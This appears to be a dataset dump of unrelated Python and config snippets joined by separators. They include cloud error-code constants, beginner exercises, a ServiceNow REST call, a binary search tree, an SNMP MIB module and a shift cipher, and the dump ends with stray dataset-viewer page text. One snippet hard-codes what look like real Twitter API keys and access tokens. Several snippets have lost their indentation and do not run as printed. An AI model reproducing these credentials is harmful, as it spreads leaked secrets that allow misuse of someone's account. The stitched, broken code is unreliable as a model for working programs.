# 权限规则的Address参数取值错误。
INVALIDPARAMETERVALUE_INVALIDACCESSRULEADDRESS = 'InvalidParameterValue.InvalidAccessRuleAddress'
# CapacityQuota参数取值错误。
INVALIDPARAMETERVALUE_INVALIDCAPACITYQUOTA = 'InvalidParameterValue.InvalidCapacityQuota'
# Description参数取值错误。
INVALIDPARAMETERVALUE_INVALIDDESCRIPTION = 'InvalidParameterValue.InvalidDescription'
# FileSystemId参数取值错误。
INVALIDPARAMETERVALUE_INVALIDFILESYSTEMID = 'InvalidParameterValue.InvalidFileSystemId'
# FileSystemName参数取值错误。
INVALIDPARAMETERVALUE_INVALIDFILESYSTEMNAME = 'InvalidParameterValue.InvalidFileSystemName'
# MountPointId参数取值错误。
INVALIDPARAMETERVALUE_INVALIDMOUNTPOINTID = 'InvalidParameterValue.InvalidMountPointId'
# MountPointName参数取值错误。
INVALIDPARAMETERVALUE_INVALIDMOUNTPOINTNAME = 'InvalidParameterValue.InvalidMountPointName'
# VpcId参数取值错误。
INVALIDPARAMETERVALUE_INVALIDVPCID = 'InvalidParameterValue.InvalidVpcId'
# 超过配额限制。
LIMITEXCEEDED = 'LimitExceeded'
# 缺少参数错误。
MISSINGPARAMETER = 'MissingParameter'
# 资源被占用。
RESOURCEINUSE = 'ResourceInUse'
# 资源不存在。
RESOURCENOTFOUND = 'ResourceNotFound'
# 权限组不存在。
RESOURCENOTFOUND_ACCESSGROUPNOTEXISTS = 'ResourceNotFound.AccessGroupNotExists'
# 权限规则不存在。
RESOURCENOTFOUND_ACCESSRULENOTEXISTS = 'ResourceNotFound.AccessRuleNotExists'
# 文件系统不存在。
RESOURCENOTFOUND_FILESYSTEMNOTEXISTS = 'ResourceNotFound.FileSystemNotExists'
# 挂载点不存在。
RESOURCENOTFOUND_MOUNTPOINTNOTEXISTS = 'ResourceNotFound.MountPointNotExists'
# VPC网络不存在。
RESOURCENOTFOUND_VPCNOTEXISTS = 'ResourceNotFound.VpcNotExists'
# 资源不可用。
RESOURCEUNAVAILABLE = 'ResourceUnavailable'
# 未授权操作。
UNAUTHORIZEDOPERATION = 'UnauthorizedOperation'
|
# Twitter API Keys
#Given
# consumer_key = "Ed4RNulN1lp7AbOooHa9STCoU"
# consumer_secret = "P7cUJlmJZq0VaCY0Jg7COliwQqzK0qYEyUF9Y0idx4ujb3ZlW5"
# access_token = "839621358724198402-dzdOsx2WWHrSuBwyNUiqSEnTivHozAZ"
# access_token_secret = "dCZ80uNRbFDjxdU2EckmNiSckdoATach6Q8zb7YYYE5ER"
#Generated on June 21st 2018
# consumer_key = "aNLSAdW7yInFcn2K2ZyiQPcot"
# consumer_secret = "yDRFdvSvbCxLCUyBMbuqgkmidGiuDLPnSciG6WI2NGVzjrShsF"
# access_token = "1009876849122521089-5hIMxvbSQSI1I1wgiYmKysWrMe48n3"
# access_token_secret = "jcWvCTMUalCk2yA5Ih7ZoZwVZlbZwYx5BRz1s7P4CkkS0"
#Generated on Jun 23 2018
consumer_key = "n9WXASBiuLis9IxX0KE6VqWLN"
consumer_secret = "FqJmd8cCiFhX4tKr91xAJoBL0s5xxp9lmv3czEW84mT3jsLCj7"
access_token = "1009876849122521089-Sok0ZuMt7EYOLucBhgyDefaQlYJkXX"
access_token_secret = "IDt79lugJ9rsqa9n9Oly38Xr4rvFlrSzRWb0quPxJNnUg"
|
numbers = input().split(" ")
max_number = ''
biggest = sorted(numbers, reverse = True)
for num in biggest:
max_number += num
print(max_number) |
##########################################################################
# Author: Samuca
#
# brief: change and gives information about a string
#
# this is a list exercise available on youtube:
# https://www.youtube.com/playlist?list=PLHz_AreHm4dm6wYOIW20Nyg12TAjmMGT-
##########################################################################
#strip() means that the spaces before and after the string won't be considered
name = str(input("Write down your name: ")).strip()
print("analysing your name...")
print("It in Upper: {}".format(name.upper()))
print("It in Lower: {}".format(name.lower()))
#//// LEN()
#//// STR.COUNT()
#len(name) gives the number of char in the str (including ' ')
#name.count(' ') will return the number of ' ' in the str
#name.count('x') can count any char in the str
print("Number of letters: {}".format(len(name) - name.count(' ')))
#name.find('x') returns the index of the first appearence of that char
#print("Your first name has {} letters".format(name.find(' ')))
#//// SPLIT()
#other way is with split(), that will create a list separating the
#chars by the space, if any other char be said (this char is not included).
sep = name.split()
print(sep)
print("Yout first name is {}, it has {} letters".format(sep[0], len(sep[0])))
|
end_line_chars = (".", ",", ";", ":", "!", "?", "-")
def split_into_blocks(text, line_length, block_size):
words = text.strip("\n").split()
current_line = ""
lines = []
blocks = []
char_counter = 0
for i, word in enumerate(words): # check every word
if len(lines) < (block_size - 1): # if current block is smaller than needed
if (char_counter + len(word) + 1) < line_length: # if there's space for new word in line
char_counter += len(word) + 1 # add word's len and 1 space to counter
current_line += word + " " # add word and 1 space to line
if i+2 > len(words): # i have no idea why 2 but basically if it's the end of the block and line is shorter that needed, we add it to another block
lines.append(current_line)
blocks.append(lines)
else: # word can't fit in the current line
lines.append(current_line) # add current line to block
current_line = "" + word + " " # reset current line
char_counter = 0 + (len(word) + 1) # add word and 1 space to counter
elif (block_size-1 <= len(lines) <= block_size): # if it's last lines in current block
if any((c in end_line_chars) for c in word): # if .,;:!?- in current word
current_line += word
lines.append(current_line)
blocks.append(lines) # block is now completed, add it to blocks
current_line = "" # reset line
lines = [] # reset block
char_counter = 0 # reset char counter
elif ((char_counter + len(word) + 1) < line_length - 15): # continue looking for .,;:! line is not full
char_counter += len(word) + 1 # add word's len and 1 space to counter
current_line += word + " " # add word and 1 space to line
else:
current_line += word
lines.append(current_line)
blocks.append(lines) # block is completed
current_line = "" # reset line
lines = []
char_counter = 0 # reset char counter
# All blocks are finally created.
return blocks
|
#Set the request parameters
url = 'https://instanceName.service-now.com/api/now/table/sys_script'
#Eg. User name="username", Password="password" for this code sample.
user = 'yourUserName'
pwd = 'yourPassword'
#Set proper headers
headers = {"Content-Type":"application/json","Accept":"application/json"}
# Set Business Rule
postBusinessRule = "{\r\n \"abort_action\": \"false\",\r\n \"access\": \"package_private\",\r\n \"action_delete\": \"false\",\r\n \"action_insert\": \"true\",\r\n \"action_query\": \"false\",\r\n \"action_update\": \"false\",\r\n \"active\": \"false\",\r\n \"add_message\": \"false\",\r\n \"advanced\": \"true\",\r\n \"change_fields\": \"true\",\r\n \"client_callable\": \"false\",\r\n \"collection\": \"incident\",\r\n \"condition\": [],\r\n \"description\": [],\r\n \"execute_function\": \"false\",\r\n \"filter_condition\": {\r\n \"@table\": \"incident\"\r\n },\r\n \"is_rest\": \"false\",\r\n \"message\": [],\r\n \"name\": \"yourBusinessRuleName\",\r\n \"order\": \"1\",\r\n \"priority\": \"1\",\r\n \"rest_method\": [],\r\n \"rest_method_text\": [],\r\n \"rest_service\": [],\r\n \"rest_service_text\": [],\r\n \"rest_variables\": [],\r\n \"role_conditions\": [],\r\n \"script\": \"(function executeRule(current, previous \/*null when async*\/) {var request = new sn_ws.RESTMessageV2('yourRestAPINameSpace', 'PostApiName'); request.setRequestBody(JSON.stringify()); var response = request.execute(); var responseBody = response.getBody(); var httpStatus = response.getStatusCode();})(current, previous);\",\r\n \"sys_class_name\": \"sys_script\",\r\n \"sys_created_by\": \"admin\",\r\n \"sys_created_on\": \"2020-02-24 17:56:33\",\r\n \"sys_customer_update\": \"false\",\r\n \"sys_domain\": \"global\",\r\n \"sys_domain_path\": \"\/\",\r\n \"sys_id\": \"\",\r\n \"sys_mod_count\": \"1\",\r\n \"sys_name\": \"create test BR\",\r\n \"sys_overrides\": [],\r\n \"sys_package\": {\r\n \"@display_value\": \"Global\",\r\n \"@source\": \"global\",\r\n \"#text\": \"global\"\r\n },\r\n \"sys_policy\": [],\r\n \"sys_replace_on_upgrade\": \"false\",\r\n \"sys_scope\": {\r\n \"@display_value\": \"Global\",\r\n \"#text\": \"global\"\r\n },\r\n \"sys_update_name\": \"sys_script_03edd56b2fc38814e8f955f62799b6e8\",\r\n \"sys_updated_by\": \"admin\",\r\n \"sys_updated_on\": \"2020-02-24 17:58:22\",\r\n \"template\": [],\r\n \"when\": \"after\"\r\n \r\n}"
# Do the HTTP request
response = requests.post(url, auth=(user, pwd), headers=headers ,data=postBusinessRule)
print(response)
# Check for HTTP codes other than 201
if response.status_code == 201:
print(response.text)
exit() |
{
'targets' : [{
'variables': {
'lib_root' : '../libio',
},
'target_name' : 'fake',
'sources' : [
],
'dependencies' : [
'./export.gyp:export',
],
}]
}
|
#!/usr/bin/env python3
"""Binary Search Tree."""
class Node:
"""Node for Binary Tree."""
def __init__(self, value, left=None, right=None, root=True):
"""Node for Binary Search Tree.
value - Value to be stored in the tree node.
left node - default value is None.
right node - default value is None.
root - default value is True.
"""
self.value = value
self.left = left
self.right = right
self.root = root
def insert(self, value):
"""Insert new value into BST."""
if self.value:
# Determine left or right insertion
if value < self.value:
if self.left is None:
self.left = Node(value, root=False)
else:
self.left.insert(value)
if value > self.value:
if self.right is None:
self.right = Node(value, root=False)
else:
self.right.insert(value)
else:
self.value = value
def find(self, value):
"""Find value in BST."""
if value < self.value:
if self.left is None:
return "Not found."
return self.left.find(value)
elif value > self.value:
if self.right is None:
return "Not found."
return self.right.find(value)
else:
print(self.value, "Found")
def print_tree(self):
"""Print the BST."""
if self.left:
self.left.print_tree()
print(self.value)
if self.right:
self.right.print_tree()
if __name__ == "__main__":
root = Node(12)
root.insert(6)
root.insert(14)
root.insert(3)
root.print_tree()
|
#
# PySNMP MIB module AT-PVSTPM-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/AT-PVSTPM-MIB
# Produced by pysmi-0.3.4 at Wed May 1 11:30:33 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
OctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols("ASN1", "OctetString", "ObjectIdentifier", "Integer")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
SingleValueConstraint, ValueSizeConstraint, ValueRangeConstraint, ConstraintsUnion, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsUnion", "ConstraintsIntersection")
modules, = mibBuilder.importSymbols("AT-SMI-MIB", "modules")
VlanIndex, = mibBuilder.importSymbols("Q-BRIDGE-MIB", "VlanIndex")
ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup")
IpAddress, iso, Integer32, Counter32, TimeTicks, ObjectIdentity, Gauge32, Unsigned32, MibScalar, MibTable, MibTableRow, MibTableColumn, ModuleIdentity, Bits, Counter64, MibIdentifier, NotificationType = mibBuilder.importSymbols("SNMPv2-SMI", "IpAddress", "iso", "Integer32", "Counter32", "TimeTicks", "ObjectIdentity", "Gauge32", "Unsigned32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ModuleIdentity", "Bits", "Counter64", "MibIdentifier", "NotificationType")
DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention")
pvstpm = ModuleIdentity((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140))
pvstpm.setRevisions(('2006-03-29 16:51',))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts: pvstpm.setRevisionsDescriptions(('Initial revision',))
if mibBuilder.loadTexts: pvstpm.setLastUpdated('200603291651Z')
if mibBuilder.loadTexts: pvstpm.setOrganization('Allied Telesis, Inc')
if mibBuilder.loadTexts: pvstpm.setContactInfo('http://www.alliedtelesis.com')
if mibBuilder.loadTexts: pvstpm.setDescription('The MIB module for managing PVSTPM enterprise functionality on Allied Telesis switches. ')
pvstpmEvents = MibIdentifier((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 0))
pvstpmEventVariables = MibIdentifier((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1))
pvstpmBridgeId = MibScalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 1), OctetString()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: pvstpmBridgeId.setStatus('current')
if mibBuilder.loadTexts: pvstpmBridgeId.setDescription('The bridge identifier for the bridge that sent the trap.')
pvstpmTopologyChangeVlan = MibScalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 2), VlanIndex()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: pvstpmTopologyChangeVlan.setStatus('current')
if mibBuilder.loadTexts: pvstpmTopologyChangeVlan.setDescription('The VLAN ID of the vlan that has experienced a topology change.')
pvstpmRxPort = MibScalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 3), Integer32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: pvstpmRxPort.setStatus('current')
if mibBuilder.loadTexts: pvstpmRxPort.setDescription('The port the inconsistent BPDU was received on.')
pvstpmRxVlan = MibScalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 4), VlanIndex()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: pvstpmRxVlan.setStatus('current')
if mibBuilder.loadTexts: pvstpmRxVlan.setDescription('The vlan the inconsistent BPDU was received on.')
pvstpmTxVlan = MibScalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 5), VlanIndex()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: pvstpmTxVlan.setStatus('current')
if mibBuilder.loadTexts: pvstpmTxVlan.setDescription('The vlan the inconsistent BPDU was transmitted on.')
pvstpmTopologyChange = NotificationType((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 0, 1)).setObjects(("AT-PVSTPM-MIB", "pvstpmBridgeId"), ("AT-PVSTPM-MIB", "pvstpmTopologyChangeVlan"))
if mibBuilder.loadTexts: pvstpmTopologyChange.setStatus('current')
if mibBuilder.loadTexts: pvstpmTopologyChange.setDescription('A pvstpmTopologyChange trap signifies that a topology change has occurred on the specified VLAN')
pvstpmInconsistentBPDU = NotificationType((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 0, 2)).setObjects(("AT-PVSTPM-MIB", "pvstpmBridgeId"), ("AT-PVSTPM-MIB", "pvstpmRxPort"), ("AT-PVSTPM-MIB", "pvstpmRxVlan"), ("AT-PVSTPM-MIB", "pvstpmTxVlan"))
if mibBuilder.loadTexts: pvstpmInconsistentBPDU.setStatus('current')
if mibBuilder.loadTexts: pvstpmInconsistentBPDU.setDescription('A pvstpmInconsistentBPDU trap signifies that an inconsistent PVSTPM packet has been received on a port.')
mibBuilder.exportSymbols("AT-PVSTPM-MIB", pvstpmBridgeId=pvstpmBridgeId, pvstpmRxVlan=pvstpmRxVlan, pvstpmTxVlan=pvstpmTxVlan, pvstpm=pvstpm, pvstpmEventVariables=pvstpmEventVariables, pvstpmTopologyChangeVlan=pvstpmTopologyChangeVlan, pvstpmEvents=pvstpmEvents, pvstpmTopologyChange=pvstpmTopologyChange, PYSNMP_MODULE_ID=pvstpm, pvstpmInconsistentBPDU=pvstpmInconsistentBPDU, pvstpmRxPort=pvstpmRxPort)
|
class ShiftCipher:
def __init__(self, affineMultiplier, constantShift):
self.affineMultiplier = affineMultiplier
self.constantShift = constantShift
def encode(self, messageInList):
for i in range(len(messageInList)):
if ord(messageInList[i])!=32:
messageInList[i] = chr((self.affineMultiplier*ord(messageInList[i])%65+self.constantShift)%25+65)
return(messageInList)
message = list(input("Insert the message you want to encrypt in all caps: "))
MyCipher = ShiftCipher(1,10)
print("The encrypted message is:")
print(''.join(MyCipher.encode(message)))
|
all_nums = []
for i in range(10, 1000000):
total = 0
for l in str(i):
total += int(l) ** 5
if int(total) == int(i):
all_nums.append(int(total))
print(sum(all_nums)) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.